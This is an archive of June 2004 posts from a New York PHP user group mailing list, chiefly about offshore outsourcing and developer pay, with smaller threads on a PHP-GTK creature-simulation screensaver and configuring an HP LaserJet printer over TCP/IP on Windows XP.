v: 718-854-0335 f: 718-854-0409 From jsiegel1 at optonline.net Tue Jun 29 20:49:52 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Tue, 29 Jun 2004 20:49:52 -0400 Subject: [nycphp-talk] [OT] Google mirror site Message-ID: <40E20E30.7090706@optonline.net> For a quick chuckle, check out the Google mirror site. See: http://www.alltooflat.com/geeky/elgoog/ Jeff Siegel From sm11szw02 at sneakemail.com Tue Jun 29 21:02:00 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Tue, 29 Jun 2004 21:02:00 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E1E61F.5040706@bitblit.net> References: <40E1D0CB.3050504@newnewmedia.com> <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> <009401c45e23$4966d9c0$0a01a8c0@webdev> <40E1E61F.5040706@bitblit.net> Message-ID: <28524-52777@sneakemail.com> Ajai Khattri ajai-at-bitblit.net |nyphp 04/2004| wrote: > Alan T. Miller wrote: > >> As for me, I am working very hard to get away from being a developer for >> obvious reasons. The way I see it, you can never compete with someone >> who is >> happy to work for less than you feel you are worth. So I plan to >> shift focus >> myself, and get out while the getting is good. >> > I have been thinking along the same lines myself. Many times I have > fanatasized about just getting out of IT completely and go work on a > farm or something equally unrelated (Hell, plumbers make more money > per hour in NYC than programmers!). > That is the new American entrpreneur. Do it... stop talking about it. You know why? Because once you become a "farmer" you will see how the farming business operates. You will learn how it manages risk, how it manages information flow, and how it squeezes profits from the channel, the market, the government. Then you will see opportunity -- in deploying IT within farming. You will start to deploy IT in new inovative ways, as a "farmer". Pretty soon you will be carvig out a new niche, and the other farmers will be following your lead, and the IT revolution will extend deeper into farming because of you. And then one day, you will look at the racks of servers you have built up in your barn, and say "I'm thinking of getting out of IT.... perhaps moving far away and becoming arafting travel guide...." I am hopeful everyone working for someone else in IT will see the light before they are 45 years old, and go their own way. If you are willing to take the risk of chucking it all to become a farmer, why not take the lesser risk of chucking the job to go it on your own? -=john From sm11szw02 at sneakemail.com Tue Jun 29 21:09:16 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Tue, 29 Jun 2004 21:09:16 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E1DFE2.20300@jonbaer.net> References: <000901c45e1c$a5e0b9c0$e98d3818@oberon1> <40E1DFE2.20300@jonbaer.net> Message-ID: <22745-13667@sneakemail.com> Jon Baer jonbaer-at-jonbaer.net |nyphp 04/2004| wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I agree w/ Tim, its a massive security issue (its been popping up alot > latley, backdoors in routers (come on people, it didnt just "land" > there) ... some bugs have been good ones due to IO (WRT54G) but I dont > think Id trust it 100%. The funny part is that companies are extremely > reluctant to spend on security. I would be too if nothing happened, id > feel it as a waste of resources and money for preventitive measures I > didn thave to take. > > On the flip side the worry is that we dont want tech to be so closed > that other countries build themselves into superior developers (thus > open trade for the market). Its a mess :-) > > - - Jon It is no different than any other industry in America. They will do it until we all get screwed, and then they will change it. Until that happens, they will take the short term profits and to hell with security/reliability/or whatever. We saw it in the acountng industry - eveyrone cheated until the system collapsed. We saw it in the energy business (and continue to see it now) - Enron had the cajones, but everyone else went along for the ride. We are on the verge of that issue in broadcast media - so few owners for all the radio stations, no one cares to listen anymore. We are on the verge of that in the recording industry - so little gets to the innovators people don't mind sidestepping copyright. We are on the verge of that in the banking industry - look at the latest Wachovia deal... does anyone care about their bank anymore? Does it matter? We are on the verge of that in the credit industry - billions in fraud are written off yearly; does anyone care? Place your bets as you see fit - short term (outsource) or long term (independent technologists and small businesses). Personally, I am waiting for the entrepreneurs in data mining to start hiring laid off Indian programmers in India, and aggregating all the consumer data they steal when they leave on their last day. They could build a better Axciom pretty quickly, and that's big bucks (as well as doom for outsourcing). From faber at linuxnj.com Tue Jun 29 21:35:13 2004 From: faber at linuxnj.com (Faber Fedor) Date: Tue, 29 Jun 2004 21:35:13 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: <001401c45e2b$e85425d0$e98d3818@oberon1> References: <001401c45e2b$e85425d0$e98d3818@oberon1> Message-ID: <20040630013513.GA16762@uranus.faber.nom> On Tue, Jun 29, 2004 at 06:53:28PM -0400, Tim Gales wrote: > > I just don't get it. > > Why would companies who are being held > hostage by closed source consulting > companies want to take on the new burdens > of creating super explicit level of > service requirements (sometimes down > to the module level) and reams and > reams of technical specifications; > and then later create acceptance test > plans which cover minutia. > > I think that this outsourcing thing is > just a faze. You may be closer than you think. A potential client I Was talking to is married to a VP of a large comapny. We were discussing outsourcing and he mentioned (implying that the VPs were thinking this way) that outsourcing was being used to drop salary requirements for techs; move work offshore, lay off people, salaries drop, then bring the work back on shore hire the techies at much lower prices. Now, I'm not the type to wear tin-foil hats but I'm seriously thinking about it. :-) BTW, does anyone know of a successful off-shored project that wasn't brought back on-shore because it was a disaster? I've never heard of one. -- Regards, Faber Linux New Jersey: Open Source Solutions for New Jersey http://www.linuxnj.com From brian at preston-campbell.com Tue Jun 29 22:09:09 2004 From: brian at preston-campbell.com (Brian Preston-Campbell) Date: Tue, 29 Jun 2004 22:09:09 -0400 Subject: [nycphp-talk] [OT] Google mirror site In-Reply-To: <40E20E30.7090706@optonline.net> References: <40E20E30.7090706@optonline.net> Message-ID: <200406292209.09584.brian@preston-campbell.com> Typing backwards in the form field does not work quite right with spaces, but it's fun nonetheless. B On Tuesday 29 June 2004 08:49 pm, Jeff Siegel wrote: > For a quick chuckle, check out the Google mirror site. > > See: http://www.alltooflat.com/geeky/elgoog/ > > Jeff Siegel > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From kushner at gmail.com Tue Jun 29 22:23:58 2004 From: kushner at gmail.com (Daniel Kushner) Date: Tue, 29 Jun 2004 22:23:58 -0400 Subject: [nycphp-talk] Fwd: [wwwac] Web Developers Roundtable In-Reply-To: <6.1.1.1.0.20040629204158.021369f8@pop-server.nyc.rr.com> References: <6.1.1.1.0.20040629204158.021369f8@pop-server.nyc.rr.com> Message-ID: <7ac626ed040629192460bf94d5@mail.gmail.com> Posted on the WWWAC list. Might be of interest to the group. -Daniel ---------- Forwarded message ---------- From: Lois J. Greene-Hernandez Date: Tue, 29 Jun 2004 21:24:45 -0400 Subject: [wwwac] Web Developers Roundtable To: wwwac at lists.wwwac.org Hi Guys, I am trying to start a web developers roundtable in the New York City area. I want it to essentially be a networking group for web-programmers, graphic artists and front-end developers. I'd like to meet once or twice a month in the B&N Union Square Cafe. We could use the time to discuss strategies for job hunting, finding freelance work, programming techniques, and/or new technological developments. I'd also like to know what you guys might want to discuss and how many of you might be interested in the group in the first place. Please reply off list to me about this. Thanks Lois J. Greene-Hernandez ## The World Wide Web Artists' Consortium --- http://www.wwwac.org/ ## ## To Unsubscribe, send an e-mail to: wwwac-unsubscribe at lists.wwwac.org ## From jayeshsh at ceruleansky.com Tue Jun 29 23:46:47 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Tue, 29 Jun 2004 23:46:47 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing Message-ID: <40E237A7.40700@ceruleansky.com> Hello all, It has been very interesting to read your thoughts on outsourcing. I have to compliment many of you for being open minded (perhaps even magnanimous) when it comes to this subject; I say this because there is a common perception that the downturn in the technology sector is being exacerbated by the transfer of jobs abroad. I come to this issue with very mixed feelings. I grew up in India - the country that now strikes fear into many hearts because programmers there are happy to work at lower wages than people in America are. I have recent seen (in business dealings) that when I mention India, there is visible wince. I went back to India early this year to the city I grew up in - Pune - which was mentioned in the recent Wired article. It is a new city - the middle class has greatly expanded, and many of the previous middle class members have joins the ranks of the upper class. Regardless of one's major in college - be it Engineering or English - people are signing up in droves at computer programming institutes. People wake up at night, and drive to call-centers to work. The bright light of the Indian spring shines everywhere, and the colors seem more vibrant than ever. People are happy - and more prosperous than ever before. Then I come back to New York - to this economy. It is still a bit slushy in March - the grey snow does not seem to have fully melted (at least not in my mind). I seem to catch the glare of another angry New Yorker out of the corner of my eye. And then it hits me: I am another bitter New Yorker myself. For years the backers of free markets said that it would prosperity to poorer nations. People who had been praising Ricardo for his theories of competitive advantage now railed against the impending doom that could be brought on by the movement of jobs to India and Eastern Europe. And the funny thing was - I kind of felt it too. I started my design and development business at the worst possible time (the Fall of 2002), and I have hung in there ever since. I would be lying if I said it has been easy. I recently posted a help wanted ad on Craigslist for an internship with a modest stipend ($500 per month). I got over 100 responses, some from people with MBAs and Computer Engineering degrees. So whenever I see people boasting that they earn such-and-such an amount per hour, or that they would not accept anything less than a particular amount, I nod, smile to myself and think "good for you then - if you can manage it". During the last three hundred years, India has undergone great pains and great poverty. If the free-market system means that millions of fellow Indians can be liften out of poverty, then what's so bad about it? Well - I just wonder if the free market system is a win-win or a win-lose system. If it is a win-lose system, I should just hire 5 people in India, and start marketing like crazy here in New York. "If you can't beat 'em, join 'em", right? But what about the immediacy of dealing with local businesses? What about the communication difficulties that arise from having to use the phone and instant messenger instead of meeting face to face? And why should I pay someone in India $600 per month to work remotely, when I can get a qualified intern for $500 per month here in New York? If this great capitalist system can only have a few winners, I want to be among those selfish few. I know - it sounds crass and stupid, but I don't want to be among the dazed people sleeping in the subway station, or those digging through trash cans, or those pushing around carts loaded with recyclables so that they can exchange them for food. I have come to the realization that in this city - and perhaps anywhere else in the world - it's every man for himself. If I were to be run over by a truck, people would probably step over me. So why should people in India not seize the chance for a better life? Who cares if people like me think that downward wage pressure from outsourcing could affect me negatively? If it's the market meeting out the justice, then justice is already at work - if qualified people in New York are willing to work for $500 per month, then India has just been out priced. There is too much demand for people who speak English well there - so much, in fact - that their market cannot catch up fast enough. For the last one hundred years, America has seen a dramatic growth in prosperity. Perhaps now it is time for other nations to stake their claim at the same thing. Best Regards, - Jay Sheth From jeff at newnewmedia.com Wed Jun 30 00:15:54 2004 From: jeff at newnewmedia.com (Jeff Loiselle) Date: Wed, 30 Jun 2004 00:15:54 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E237A7.40700@ceruleansky.com> References: <40E237A7.40700@ceruleansky.com> Message-ID: <40E23E7A.1020903@newnewmedia.com> I just wanted to thank everyone for their opinions on this subject. I know it was off-topic, but after reading the Wired article I wasn't exactly sure how to feel; I'm still not. Many of you had such immediate responses; it was amazing. I wrote so many drafts of things I wanted to say, but as the replies kept arriving, I couldn't help but just sit back and take it all in. I don't think I am even qualified to say another word on the subject. But then again, I've always been more of a perceiver than a judger. Thanks. From joel at tagword.com Wed Jun 30 01:55:40 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 30 Jun 2004 01:55:40 -0400 Subject: [nycphp-talk] UPDATE php script as screensaver.. In-Reply-To: <1088467074.7434.29.camel@bezel> References: <1088447256.7431.8.camel@bezel> <40E0529E.60908@chxo.com> <1088452443.7434.22.camel@bezel> <40E068A5.7000300@chxo.com> <1088467074.7434.29.camel@bezel> Message-ID: <1088574940.26572.17.camel@bezel> As an update to below: I am sitting here watching several animated sprite butterflies fly around a grass-tiled mapped field. All done in php-gtk.. for pathfinding, will use A* algorithm. Found a large selection of sprites and tiles to use (all royalty free) tiles for grass/trees/water/desert/snow etc. Will add in animal stats/behaviors later (also a creature-gen), thinking I will venture out from what terrarium is doing and have bugs, rats, cats, dogs birds etc.. Make it more like a "biodome" than a terrarium.. heh.. yes yes.. this should be done c.. but hey, why not do it in php? -joel On Mon, 2004-06-28 at 19:57, Joel De Gan wrote: > On Mon, 2004-06-28 at 14:51, Chris Snyder wrote: > > Uh... Joel, I hope you will consider letting us beta-test the PHP 3D > > Desktop whenever you're almost ready to release. :-D > > I am actually working on getting sprites working right now. > Already have terrain tiles working. > > If you are not familiar with Terrarium: > http://www.windowsforms.net/default.aspx?tabIndex=6&tabId=42 > > You can make creatures: plants, herbivors, carnivors etc.. You have to > write in it's intelligence and terrarium acts as the gateway for > everyone's various creatures to interact. I was looking at the forums > and there have been a few "super" critters that have taken over at > various times until someone creates something to kill it. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From amiller at criticalmedia.biz Wed Jun 30 00:50:28 2004 From: amiller at criticalmedia.biz (Alan T. Miller) Date: Tue, 29 Jun 2004 21:50:28 -0700 Subject: [nycphp-talk] Off Topic: International Outsourcing References: <40E237A7.40700@ceruleansky.com> Message-ID: <005a01c45e5d$c44f3030$0a01a8c0@webdev> > I recently posted a help wanted ad on > Craigslist for an internship with > a modest stipend ($500 per month). > I got over 100 responses, some from > people with MBAs and Computer > Engineering degrees. It is like I said before, if you are willing to work for less than you are worth you have just lost the game. I know that if you are funding your own education, an MBA or engineering degree can cost you thousands of dollars in student loans, what a tragedy that people who have spent upwards of $40,000 to $80,000 for an education are willing to work for $500 a month. Kind of makes the whole thing seem pointless when McDonalds pays more than that to high school students with no education at all to flib burgers and serve french fries. Of course the idea of working the internship is to get expereince so you can get a real job, but if the real jobs are nonexistent and / or outsourced, what again I ask is the point? This is why I never reccomend someone get into this line of work unless they are willing to relocate to India, Bulgaria, Romaina or elsewhere. > During the last three hundred years, > India has undergone great pains and > great poverty. If the free-market > system means that millions of fellow > Indians can be liften out of poverty, > then what's so bad about it? I have nothing against people in India, or elsewhere who take advantage of outsourcing. Hurrah for them. I only wish there was a country that was willing to outsource work to us on the same level. Of course you cannot blame someone in India for taking advantage of the money they can earn... great for them. For those however that have staked there life work in the field, it is not so easy to see it all go away and start over once again. > Well - I just wonder if the free > market system is a win-win or a > win-lose system. If it is a win-lose > system, I should just hire 5 people > in India, and start marketing like > crazy here in New York. > "If you can't beat 'em, join 'em", right? It seems that if you want to remain competative you really have no choice. I have already come to that conclusion myself. I am a Marxist at heart anyway, so for me, it has always been a win-lose system. Unless of course you are not on the butt end of things trying to be a worker. > But what about the immediacy > of dealing with local businesses? > What about the communication > difficulties that arise from having > to use the phone and instant > messenger instead of meeting face to face? When your labor comes at 1/10 the cost, these are problems often seen as worth it. Think about it, you get rid of 10 programmers or high tech workers at $60,000 a year, and replace them with ten at $12,000 a year, you just saved $480,000 a year, with that money you hire 3 people at $35,000 a year to deal with these issues. Then you can brag about all the jobs you created, and brush aside the fact that you lost 10. Of course this only works for a short while, once your competition does the same thing, now you may not make enough money to pay your three at $35,000 a year due to the competative demands driving prices down, but that cost will be offset by the fact that people in India will once again have lowered there own fees due to the intense competition once that market is flooded with a pool of tech workers that outnumber the tech jobs. In other words for the same reasons you can get an intern here for $500 a month, tech workers in India today who enjoy $12,000 a year will eventually find themselves in the same boat having to lower their own wages. > And why should I pay someone in > India $600 per month to work remotely, > when I can get a qualified intern for > $500 per month here in New York? If you can keep that qualified Intern long term sounds like a great plan, but can you really afford to live in New York for $500 a month? How long can that last? > If this great capitalist system can > only have a few winners, I want to > be among those selfish few. > I know - it sounds crass and > stupid, but I don't want to be among > the dazed people sleeping in the > subway station, or those digging > through trash cans, or those pushing > around carts loaded with recyclables > so that they can exchange them for food. Now you truly understand how the system works, capitalism is like a big pyramyd scheme. There can only be a few winners by its very nature, just make sure you get in early so you can exploit it for all its worth. Is this sinicle? Perhaps but until things are changed for the better, how else is one to survive. I don't want to be eating out of a garbage can anytime soon. > I have come to the realization > that in this city - and perhaps > anywhere else in the world - > it's every man for himself. If > I were to be run over > by a truck, people would probably > step over me. Not only that, they will most likely scoff at you for being in their way too. > So why should people in India not > seize the chance for a better life? > Who cares if people like me think > that downward wage pressure from > outsourcing could affect me negatively? Poeple in India should exploit the status quo to the fullest and enjoy it as long as they can, for it will only be a matter of time before cheaper labor is found elsewhere and the opportunity will be gone for them. From stephen at musgrave.org Wed Jun 30 07:02:56 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Wed, 30 Jun 2004 07:02:56 -0400 Subject: [nycphp-talk] time to dump IE In-Reply-To: <20040624064526.GA6856@panix.com> Message-ID: and now this ... Net Attack Aimed at Banking Data http://tinyurl.com/2v9bq On 6/24/04 2:45 AM, "Daniel Convissor" wrote: > Hi Folks: > > Please take a moment to check this out: > http://www.securityfocus.com/columnists/249 > > Then take another moment and fire off an email to your friends and > clients. > > --Dan From jonbaer at jonbaer.net Wed Jun 30 07:57:38 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 30 Jun 2004 07:57:38 -0400 Subject: [nycphp-talk] [OT] Google mirror site In-Reply-To: <40E20E30.7090706@optonline.net> References: <40E20E30.7090706@optonline.net> Message-ID: <20040630115738.GB2515@jonbaer.net> For some reason this seems to get better results than its parent :-) Im now starting to find all the things I needed in the first place, thanks Jeff. - Jon On Tue, Jun 29, 2004 at 08:49:52PM -0400, Jeff Siegel wrote: > For a quick chuckle, check out the Google mirror site. > > See: http://www.alltooflat.com/geeky/elgoog/ > > Jeff Siegel > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jonbaer at jonbaer.net Wed Jun 30 08:07:46 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 30 Jun 2004 08:07:46 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <28524-52777@sneakemail.com> References: <40E1D0CB.3050504@newnewmedia.com> <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> <009401c45e23$4966d9c0$0a01a8c0@webdev> <40E1E61F.5040706@bitblit.net> <28524-52777@sneakemail.com> Message-ID: <20040630120746.GC2515@jonbaer.net> This is an excellent point ... I mean whats the real point of technology anyways? Build games? Fry the brains of kids with new exciting features in online messaging? Faster Eminem downloads? There are millions of areas in which LAMP witin the country that would prove resourceful @ the only cost of the programmers ability to get the task accomplished. What LAMP actually needs is more case studies (even fictional ones) ... for example I just read that buildings in NYC can $ave money if they hardwire XML to Con Edison. I find it both disturbing + interesting @ the same time. But Im sure more examples such as that will start popping up. - Jon > That is the new American entrpreneur. Do it... stop talking about it. > You know why? > > Because once you become a "farmer" you will see how the farming business > operates. You will learn how it manages risk, how it manages information > flow, and how it squeezes profits from the channel, the market, the > government. Then you will see opportunity -- in deploying IT within farming. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From csnyder at chxo.com Wed Jun 30 08:36:54 2004 From: csnyder at chxo.com (Chris Snyder) Date: Wed, 30 Jun 2004 08:36:54 -0400 Subject: [nycphp-talk] UPDATE php script as screensaver.. In-Reply-To: <1088574940.26572.17.camel@bezel> References: <1088447256.7431.8.camel@bezel> <40E0529E.60908@chxo.com> <1088452443.7434.22.camel@bezel> <40E068A5.7000300@chxo.com> <1088467074.7434.29.camel@bezel> <1088574940.26572.17.camel@bezel> Message-ID: <40E2B3E6.7050508@chxo.com> Joel De Gan wrote: >As an update to below: >I am sitting here watching several animated sprite butterflies fly >around a grass-tiled mapped field. >All done in php-gtk.. > Ya know, I was thinking of doing something like this in php+flash -- before hearing about msterrarium, which ruined my day, thanks. Perhaps we should form a sig: nyphp-zoo From tgales at tgaconnect.com Wed Jun 30 08:38:31 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 30 Jun 2004 08:38:31 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <20040630120746.GC2515@jonbaer.net> Message-ID: <001301c45e9f$27205d60$e98d3818@oberon1> Jon Baer writes: "I just read that buildings in NYC can $ave money if they hardwire XML to Con Edison..." It would be 'preaching to the choir' for me to suggest (on this list) that PHP 5 should be among the top candidates for implementing systems which exchange XML documents. On a side note, if there are any PHP 'evangelist' types, who will be (back) in NYC relatively soon and can carve some time out of their schedule to give a talk on how to implement XML document exchange with PHP 5, please contact me (off list). T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Wed Jun 30 08:53:59 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 30 Jun 2004 08:53:59 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <001301c45e9f$27205d60$e98d3818@oberon1> References: <20040630120746.GC2515@jonbaer.net> <001301c45e9f$27205d60$e98d3818@oberon1> Message-ID: <20040630125359.GA6803@jonbaer.net> Here is the URL for reference: http://radio.weblogs.com/0105910/2004/06/29.html - Jon On Wed, Jun 30, 2004 at 08:38:31AM -0400, Tim Gales wrote: > > Jon Baer writes: > > "I just read that buildings in NYC can $ave money > if they hardwire XML to Con Edison..." -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From wkamm at att.com Wed Jun 30 08:59:56 2004 From: wkamm at att.com (Kamm, William R (Bill), ALABS) Date: Wed, 30 Jun 2004 07:59:56 -0500 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Message-ID: How is the printer attached? Ethernet? USB? Parallel/Centronix? If it is networked (RJ45 Ethernet), configuration is not that simple. If you follow the print wizard, you will go wrong. Let me know, maybe I can help. Bill -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Phillip Powell Sent: Tuesday, June 29, 2004 7:40 PM To: NYPHP Talk Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Sorry, I've turned to everyone I know, and everyone I know knows Linux now (including me) and not XP. Barring reconfiguring everything to RH (dream, but not reality): We have two new XP-enabled machines here at work and neither will print using our existing HP LaserJet 2200 Series PCL 6. I downloaded the proper drivers from http://www.hp.com and attempted several reinstallations of printers, to no avail. Each time it will attempt to print, only to time out and throw a timeout-related error each time it tries to print: "The document has failed to print". Has anyone out there had experience working with both XP and HP LaserJet printers? I am on a serious time crunch and have to have this configured by morning and I'm stuck! Help! Thanx Phil -- ------------------------------------------------------------------------ --------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From jsiegel1 at optonline.net Wed Jun 30 09:37:07 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Wed, 30 Jun 2004 09:37:07 -0400 Subject: [nycphp-talk] [OT] Google mirror site In-Reply-To: <20040630115738.GB2515@jonbaer.net> References: <40E20E30.7090706@optonline.net> <20040630115738.GB2515@jonbaer.net> Message-ID: <40E2C203.5070609@optonline.net> Glad you found it useful. :) Jeff Jon Baer wrote: > For some reason this seems to get better results than its parent :-) > > Im now starting to find all the things I needed in the first place, thanks Jeff. > > - Jon > > On Tue, Jun 29, 2004 at 08:49:52PM -0400, Jeff Siegel wrote: > >>For a quick chuckle, check out the Google mirror site. >> >>See: http://www.alltooflat.com/geeky/elgoog/ >> >>Jeff Siegel >> >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk > > > > ------------------------------------------------------------------------ > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From phillip.powell at adnet-sys.com Wed Jun 30 10:01:29 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 30 Jun 2004 10:01:29 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: References: Message-ID: <40E2C7B9.8050505@adnet-sys.com> It's attached via RJ45 Ethernet. And the company is getting someone else to do it apparently at this point. I had it working last night whereby I was able to add them to the network workgroup (rather, re-add them) and then was able to print; somehow, they can't print anymore. Phil Kamm, William R (Bill), ALABS wrote: >How is the printer attached? Ethernet? USB? Parallel/Centronix? If >it is networked (RJ45 Ethernet), configuration is not that simple. If >you follow the print wizard, you will go wrong. Let me know, maybe I >can help. > >Bill > >-----Original Message----- >From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] >On Behalf Of Phillip Powell >Sent: Tuesday, June 29, 2004 7:40 PM >To: NYPHP Talk >Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > > >Sorry, I've turned to everyone I know, and everyone I know knows Linux >now (including me) and not XP. Barring reconfiguring everything to RH >(dream, but not reality): > >We have two new XP-enabled machines here at work and neither will print >using our existing HP LaserJet 2200 Series PCL 6. I downloaded the >proper drivers from http://www.hp.com and attempted several >reinstallations of printers, to no avail. > >Each time it will attempt to print, only to time out and throw a >timeout-related error each time it tries to print: "The document has >failed to print". > >Has anyone out there had experience working with both XP and HP LaserJet > >printers? I am on a serious time crunch and have to have this configured > >by morning and I'm stuck! > >Help! > >Thanx >Phil > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From wkamm at att.com Wed Jun 30 10:09:48 2004 From: wkamm at att.com (Kamm, William R (Bill), ALABS) Date: Wed, 30 Jun 2004 09:09:48 -0500 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Message-ID: Here is how I set mine up on my home network: 1. Assign the printer an IP address. For example, 192.168.1.___. I can't help you with this, you need to look that up in the manual. 2. Click Start --> Settings --> Printers and Faxes, then Add Printer. 3. Click Next on the first wizard page. 4. This is where Microsoft screwed up. DON'T click the "Network printer" radio button. Instead, click "Local printer attached to this computer". Yeah, it makes no sense at all, but it works. Uncheck the "Automatically detect" checkbox, and click Next. 5. Select the "Create a new port" radio button, and select "Standard TCP/IP Port" from the dropdown list. Click Next. 6. As the next screen says, make sure the printer is powered on and is on the network. Click Next. 7. Type in the IP address, and the port name will be automatically filled in. Click Next. 8. After that, just follow the prompts to find your printer from the list, assign it a name, and print a test page. Bill -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Phillip Powell Sent: Wednesday, June 30, 2004 10:01 AM To: NYPHP Talk Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 It's attached via RJ45 Ethernet. And the company is getting someone else to do it apparently at this point. I had it working last night whereby I was able to add them to the network workgroup (rather, re-add them) and then was able to print; somehow, they can't print anymore. Phil Kamm, William R (Bill), ALABS wrote: >How is the printer attached? Ethernet? USB? Parallel/Centronix? If >it is networked (RJ45 Ethernet), configuration is not that simple. If >you follow the print wizard, you will go wrong. Let me know, maybe I >can help. > >Bill > >-----Original Message----- >From: talk-bounces at lists.nyphp.org >[mailto:talk-bounces at lists.nyphp.org] >On Behalf Of Phillip Powell >Sent: Tuesday, June 29, 2004 7:40 PM >To: NYPHP Talk >Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > > >Sorry, I've turned to everyone I know, and everyone I know knows Linux >now (including me) and not XP. Barring reconfiguring everything to RH >(dream, but not reality): > >We have two new XP-enabled machines here at work and neither will print >using our existing HP LaserJet 2200 Series PCL 6. I downloaded the >proper drivers from http://www.hp.com and attempted several >reinstallations of printers, to no avail. > >Each time it will attempt to print, only to time out and throw a >timeout-related error each time it tries to print: "The document has >failed to print". > >Has anyone out there had experience working with both XP and HP >LaserJet > >printers? I am on a serious time crunch and have to have this >configured > >by morning and I'm stuck! > >Help! > >Thanx >Phil > > > -- ------------------------------------------------------------------------ --------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From phillip.powell at adnet-sys.com Wed Jun 30 10:21:12 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 30 Jun 2004 10:21:12 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: References: Message-ID: <40E2CC58.3080602@adnet-sys.com> Bill, see below, thanx! Kamm, William R (Bill), ALABS wrote: >Here is how I set mine up on my home network: > >1. Assign the printer an IP address. For example, 192.168.1.___. I >can't help you with this, you need to look that up in the manual. > > We've already done that step a long time ago as a matter of fact. I was able to even view the webpage generated by opening a browser and putting in the IP for the printer on the "good" and "bad" machines. >2. Click Start --> Settings --> Printers and Faxes, then Add Printer. > >3. Click Next on the first wizard page. > >4. This is where Microsoft screwed up. DON'T click the "Network >printer" radio button. Instead, click "Local printer attached to this >computer". Yeah, it makes no sense at all, but it works. Uncheck the >"Automatically detect" checkbox, and click Next. > > All of the other PCs are set up this way already for configuration with the printer. >5. Select the "Create a new port" radio button, and select "Standard >TCP/IP Port" from the dropdown list. Click Next. > > Actually, that port had already existed. For good measure I deleted that port and recreated it entering the IP address (see Step 7). >6. As the next screen says, make sure the printer is powered on and is >on the network. Click Next. > >7. Type in the IP address, and the port name will be automatically >filled in. Click Next. > >8. After that, just follow the prompts to find your printer from the >list, assign it a name, and print a test page. > > Bill, I did all of that last night, to no avail. It would still not print when set up this way; even though the other machines were set up exactly in this format to a tee and can print, the 2 other machines could not. I had managed to connect to a network printer using the network domain workgroup name and it worked until this morning - no explanation whatsoever, it just stopped working! >Bill > >-----Original Message----- >From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] >On Behalf Of Phillip Powell >Sent: Wednesday, June 30, 2004 10:01 AM >To: NYPHP Talk >Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > > >It's attached via RJ45 Ethernet. And the company is getting someone >else to do it apparently at this point. I had it working last night >whereby I was able to add them to the network workgroup (rather, re-add >them) and then was able to print; somehow, they can't print anymore. > 